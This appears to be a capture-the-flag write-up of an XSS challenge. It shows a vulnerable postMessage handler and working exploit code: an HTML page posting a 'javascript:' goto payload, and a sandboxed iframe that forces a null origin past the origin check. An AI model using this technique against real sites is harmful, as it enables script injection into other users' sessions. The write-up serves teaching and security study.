Exploit Web Messages using a Null Origin Technique
How could two security features collide into a vulnerability?

Overview
To start off, here is the complete codebase of the challenge.
<script>
var originAllowed = function(o) {
try {
return new URL(o,window.location.origin).hostname === new URL(window.location).hostname;
} catch (e) {
return false;
}
}
window.addEventListener("message", function(e) {
if (originAllowed(e.origin) && e.data) {
try {
t = JSON.parse(e.data)
} catch (e) {}
if (t && "object" == typeof t && t.goto) { window.location = t.goto; }
}
});
</script>
The first issue here is the insecure assignment on window.location, which definitely leads to XSS. Here is a small PoC:

Unfortunately, this is only half of the challenge. Here’s a hint from the author:

This could only be done if the origin check at originAllowed is somehow insecure or broken.
The function returns true only if the event origin’s hostname is equal to the location origin’s hostname.
However, the first part is very suspicious.
new URL(o,window.location.origin)
Using the location origin as an URL base is a bad idea.

If I were to somehow hide my origin, then the following would happen:

If an iframe makes a postMessage call and has a sandbox attribute that doesn’t contain the value allow-same-origin, browsers give it a “unique” origin:
When the
sandboxattribute is set, the content is treated as being from a unique origin, forms, scripts, and various potentially annoying APIs are disabled, links are prevented from targeting other browsing contexts, and plugins are secured. The allow-same-origin keyword causes the content to be treated as being from its real origin instead of forcing it into a unique origin.
When determining the value of the Origin header to send in a cross-origin request, browsers serialize any unique origin as null and give the Origin header that value.
Solution
I first write the postMessage caller like this:
<html>
<body>
<script>
var url = "https://demo.honoki.net/xss-challenge.html"
var pup = window.open(url)
setTimeout(() => {
pup.postMessage('{"goto": "javascript:alert(document.domain)"}', url)
},1500)
</script>
</body>
</html>
Next, I frame the code and give it the required sandbox attributes.
<html>
<iframe
src="./exploit.html"
sandbox="allow-scripts allow-popups allow-popups-to-escape-sandbox"
></iframe>
</html>
The allow-scripts, allow-popups and allow-popups-to-escape-sandbox are required to make the postMessage call.
Here is the result when I run it on a local server.

Thanks for reading!